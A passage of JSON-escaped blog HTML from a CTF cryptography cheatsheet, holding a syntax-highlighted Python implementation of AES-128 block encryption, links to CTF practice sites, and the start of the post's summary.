style=\"color:#ae81ff\"\u003e0x3a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x49\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x06\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x24\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x5c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc2\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd3\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xac\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x62\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x91\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x95\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x79\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xe7\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x37\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x8d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x6c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x56\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xea\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x65\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x7a\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xae\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xba\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x78\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x25\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb4\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xdd\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x74\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x4b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xbd\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x8b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x8a\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x70\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x3e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb5\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x66\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x48\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x03\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x61\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x35\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x57\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x86\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xc1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9e\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0xe1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xf8\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x98\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x11\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x69\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xd9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x8e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x94\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x9b\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1e\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x87\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe9\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xce\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x55\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x28\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xdf\u003c/span\u003e,\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  \u003cspan style=\"color:#ae81ff\"\u003e0x8c\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xa1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x89\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xbf\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xe6\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x42\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x68\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x41\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x99\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x2d\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x0f\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xb0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x54\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0xbb\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x16\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRCON \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [\u003cspan style=\"color:#ae81ff\"\u003e0x01\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x02\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x04\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x08\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x10\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x20\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x40\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x80\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x1B\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e0x36\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003esub_bytes\u003c/span\u003e(s): \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e [SBOX[b] \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e b \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e s]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eshift_rows\u003c/span\u003e(s):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e [\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        s[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e5\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e15\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        s[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e9\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e14\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        s[\u003cspan style=\"color:#ae81ff\"\u003e8\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e13\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e7\u003c/span\u003e],\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        s[\u003cspan style=\"color:#ae81ff\"\u003e12\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e], s[\u003cspan style=\"color:#ae81ff\"\u003e11\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    ]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003extime\u003c/span\u003e(a): \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e ((a\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x1B\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0xFF\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e a\u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0x80\u003c/span\u003e \u003cspan style=\"color:#66d9ef\"\u003eelse\u003c/span\u003e (a\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emix_single_column\u003c/span\u003e(col):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    t \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e col[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    u \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e col[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]; col[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^=\u003c/span\u003et\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003extime(col[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    col[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^=\u003c/span\u003et\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003extime(col[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    col[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^=\u003c/span\u003et\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003extime(col[\u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003ecol[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    col[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^=\u003c/span\u003et\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003extime(col[\u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003eu)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003emix_columns\u003c/span\u003e(s):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e): mix_single_column(s[i\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e:(i\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e s\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eadd_round_key\u003c/span\u003e(s,k): \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e [a\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003eb \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e a,b \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(s,k)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003ekey_expansion\u003c/span\u003e(key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    Nk, Nr \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e, \u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    w \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [list(key[i:i\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e]) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e16\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(Nk, \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e(Nr\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        temp \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e w[i\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e][:]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#66d9ef\"\u003eif\u003c/span\u003e i\u003cspan style=\"color:#f92672\"\u003e%\u003c/span\u003eNk\u003cspan style=\"color:#f92672\"\u003e==\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            temp \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e temp[\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e:]\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003etemp[:\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            temp \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e [SBOX[b] \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e b \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e temp]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e            temp[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e] \u003cspan style=\"color:#f92672\"\u003e^=\u003c/span\u003e RCON[i\u003cspan style=\"color:#f92672\"\u003e//\u003c/span\u003eNk \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        w\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003eappend([a\u003cspan style=\"color:#f92672\"\u003e^\u003c/span\u003eb \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e a,b \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e zip(w[i\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eNk],temp)])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e [sum(w[\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ei:\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003ei\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e],[]) \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e i \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(Nr\u003cspan style=\"color:#f92672\"\u003e+\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e)]\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003edef\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eaes_encrypt_block\u003c/span\u003e(block,key):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e list(block)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    round_keys \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e key_expansion(list(key))\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e add_round_key(state, round_keys[\u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003efor\u003c/span\u003e r \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e range(\u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e,\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e):\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e sub_bytes(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e shift_rows(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e mix_columns(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e add_round_key(state, round_keys[r])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e sub_bytes(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e shift_rows(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    state \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e add_round_key(state, round_keys[\u003cspan style=\"color:#ae81ff\"\u003e10\u003c/span\u003e])\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e bytes(state)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eplaintext \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;ABCDEFGHIJKLMNOP\u0026#34;\u003c/span\u003e    \u003cspan style=\"color:#75715e\"\u003e# 16 bytes\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ekey       \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003eb\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;thisisasecretkey\u0026#34;\u003c/span\u003e   \u003cspan style=\"color:#75715e\"\u003e# 16 bytes (AES-128)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecipher    \u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e aes_encrypt_block(plaintext, key)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eprint(cipher\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003ehex())\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003chr\u003e\n\u003ch2 id=\"further-practice\"\u003eFurther Practice\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.hackthebox.com/\"\u003eHackTheBox\u003c/a\u003e - their labs have a ton of modern crypto challenges but they\u0026rsquo;re quite hard!\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://ctftime.org/\"\u003eCTFtime.org\u003c/a\u003e - event listings, writeups, and past problems.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://cryptohack.org/\"\u003eCryptoHack\u003c/a\u003e - puzzle-based platform for learning cryptography step by step.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://picoctf.org/\"\u003epicoCTF\u003c/a\u003e - beginner-friendly competitions with accessible crypto challenges.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://overthewire.org/wargames/krypton/\"\u003eOverTheWire Krypton\u003c/a\u003e - practice classical cryptography problems.\u003c/li\u003e\n\u003c/ul\u003e\n","date":"2025-08-27","dateFormatted":"August 27, 2025","excerpt":"Cryptography challenges are one of the most common categories in Capture the Flag (CTF) competitions. This guide provides a focused overview of essential algorithms, how to recognize them, common …","featured":false,"mood":null,"permalink":"/posts/crypto-cheatsheet/","readingTime":3,"slug":"crypto-cheatsheet","subtitle":"A useful cryptography cheatsheet","summary":"\u003cp\u003eCryptography challenges are one of the most common categories in Capture the Flag (CTF) competitions. This guide provides a focused overview of essential algorithms, how to recognize them, common weaknesses exploited in CTFs, and practical resources for practice.\u003c/p\u003e\n\u003chr\u003e\n\u003ch2 id=\"common-ctf-crypto-patterns\"\u003eCommon CTF Crypto Patterns\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFlags often follow formats like \u003ccode\u003eCTF{...}\u003c/code\u003e, which can help in known-plaintext scenarios.\u003c/li\u003e\n\u003cli\u003eKey reuse across ciphertexts can 